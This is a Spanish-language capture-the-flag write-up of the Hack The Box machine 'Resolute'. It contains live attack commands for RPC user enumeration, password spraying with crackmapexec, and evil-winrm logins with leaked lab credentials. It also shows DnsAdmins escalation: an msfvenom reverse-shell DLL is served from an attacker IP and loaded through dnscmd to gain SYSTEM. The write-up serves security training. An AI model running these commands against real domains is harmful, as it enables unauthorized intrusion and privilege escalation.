Writeup HTB - Maquina Resolute
HTB - Resolute
Resumen
Scan Nmap
RPC
enumeramos primero entrando con sesion nula por RPC
rpcclient -U "" 10.129.96.155 -N
accedemos y enumeramos usuarios
rpcclient $> enumdomusers
tambien podemos obtener mas informacion de un usuario por rid
rpcclient $> queryuser 0x1f4
tambien usaremos el querydispinfo para obtener informacion de todo los usuarios y encontramos un usuario marko con una descripcion interesante ya que expone en su descripcion la credencial Welcome123!
rpcclient $> querydispinfo
vemos una informacion mas detallada de este usuario
rpcclient $> queryuser 0x457
intente conectarme por smb y winrm pero sin exito
Password Spray
entonces tome todo los usuarios y guarde en un archivo para poder realizar password spray
❯ rpcclient -U '' 10.129.96.155 -N -c "enumdomusers" | grep -oP "\[[a-zA-z]+\]" | tr -d "[]" > users.txt
y comenzamos el ataque y obtuvimos acceso de un usuario con estas credenciales
crackmapexec smb 10.129.96.155 -u users.txt -p Welcome123!
probamos con winrm y nos sale pwned por lo tanto usaremos evilwinrm
crackmapexec winrm 10.129.96.155 -u melanie -p Welcome123!
Acceso Winrm
listo con las pruebas anteriores pudimos saber que podremos conectarnos con win-rm, asi que usamos evil-winrm para esta tarea
Resolute ❯ evil-winrm -i 10.129.96.155 -u melanie -p Welcome123!
accedemos sin problemas, asi podriamos aprovechar para leer la flag de user.txt
aqui se complico la cosa pues no encontraba forma de poder seguir, sin embargo probamos listar con ls y el argumento -force y encontramos directorios interesantes entre ellos PSTranscripts
entramos a dicha carpeta y seguimos listando y encontramos un archivo interesante
vemos el contenido de dicho archivo y encontramos credenciales
*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
credenciales encontradas:
ryan:Serv3r4Admin4cc123!
probamos dichas credenciales credenciales con crackmapexec
Resolute > crackmapexec winrm 10.129.96.155 -u ryan -p Serv3rAdmin4cc123!
Resolute > crackmapexec smb 10.129.96.155 -u ryan -p Serv3rAdmin4cc123!
Acceso winrm - User ryan
accedemos con el usuario ryan sin problemas con evil-wimrm
enumeramos a que grupos pertenece este usuario vemos que pertenece a DnsAdmins
buscando en internet encontramos un articulo donde vemos que podemos escalar de DnsAdmins to DomainAdmin
Windows Privilege Escalation: DnsAdmins to DomainAdmin - Hacking Articles
asi que seguimos los pasos y generamos nuestra dll maliciosa con msfvenom
> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.104 LPORT=443 -f dll -o rev.dll
creamos un servidor smb con python impacket
❯ impacket-smbserver shared . -smb2support
dejamos con netcat el puerto 443 en escucha y ejecutamos estos comandos en la maquina victima
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe /config /serverlevelplugindll \\10.10.14.104\shared\rev.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe \\Resolute stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe \\Resolute start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3316
FLAGS :
y logramos obtener una reverse shell con permisos nt authority\System
gracias por leer el writeup y espero que te haya gustado, nos vemos.